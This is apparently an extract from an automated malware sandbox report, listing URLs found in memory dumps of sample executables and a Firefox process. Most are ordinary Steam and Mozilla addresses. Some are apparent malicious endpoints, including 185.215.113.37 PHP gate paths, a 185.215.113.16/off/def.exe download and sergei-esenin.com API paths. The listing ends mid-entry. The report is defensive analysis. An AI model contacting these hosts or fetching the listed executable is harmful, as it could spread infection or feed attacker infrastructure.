https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3266928045.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/	26e226f915.exe, 0000000D.00000003.3292795200.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3266928045.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3266928045.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=	file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/O(	ef2532c0b1.exe, 0000000C.00000002.3014293851.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/gw	26e226f915.exe, 0000000D.00000003.3288904096.000000000168C000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3294085601.0000000001692000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/disableGreaseOnFallback	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3129585316.000001708BEE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3321587430.0000017084F3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3304609166.00000170844A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3129585316.000001708BE81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3304609166.00000170844CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001B.00000002.3310993207.0000017084B09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3308589953.0000017084AE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3308589953.0000017084A77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3308589953.0000017084A41000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3088112226.000001708360F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3327365979.000001708527D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3082674705.0000017083400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3089312930.0000017083631000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3090212714.0000017083652000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B8F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3296245182.0000017083800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.3327365979.0000017085290000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/userFacingName	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.37rpn	9NWW1UIUAOJA8NFOZHWEDA.exe, 00000004.00000002.2416316812.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/featureIds/items	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.php_	9NWW1UIUAOJA8NFOZHWEDA.exe, 00000004.00000002.2416316812.0000000001044000.00000004.00000020.00020000.00000000.sdmp, ef2532c0b1.exe, 0000000C.00000002.3014293851.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://eaglepawnoy.store:443/api	file.exe, 00000000.00000003.2134302834.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142391592.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/referenceBranch	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpj	9NWW1UIUAOJA8NFOZHWEDA.exe, 00000004.00000002.2416316812.000000000105B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratioJSON.parse:	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/outcomes/items	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	26e226f915.exe, 0000000D.00000003.3109202383.0000000005E22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3217655123.0000000005972000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219276546.0000000005972000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219501177.0000000005975000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/csvImport	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&	file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2156705356.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156839370.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156632127.000000000577C000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048821838.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3049132775.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048636606.0000000005E2D000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3153468407.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/5xx-error-landing	file.exe, 00000000.00000003.2142550438.0000000000AE9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142360796.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142391592.0000000000AE9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000162F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp	file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/featureshttp://mozilla.org/#/prope	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3308589953.0000017084AE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B8F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://checkout.steampowered.com/	26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://addons.mozilla.org/user-media/addon_icons/954/954390-64.png?modified=97d4c956https://addons.	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2312038397.0000000000B10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313035621.0000000000B12000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 26e226f915.exe, 0000000D.00000003.3288904096.000000000168C000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3292320842.000000000169A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com/apiw/	file.exe, 00000000.00000003.2167537362.0000000005742000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/endDate	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli	file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_	26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/addonsFeatureGate	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThresholdhttp://mozilla.org/#/propert	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BD30000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://help.steampowered.com/en/	file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemshttp://mozilla.org/#	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	file.exe, 00000000.00000003.2134302834.0000000000A68000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/api-H	26e226f915.exe, 0000000D.00000003.3292795200.000000000164B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/enrollmentEndDate	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis	file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3266928045.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com	firefox.exe, 0000001B.00000002.3303238080.00000170842E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://broadcast.st.dl.eccdnx.com	26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://login.microsoftonline.com08a40f72-8958-46f3-8b0d-9bdc1571b553resource://normandy/lib/Telemet	firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 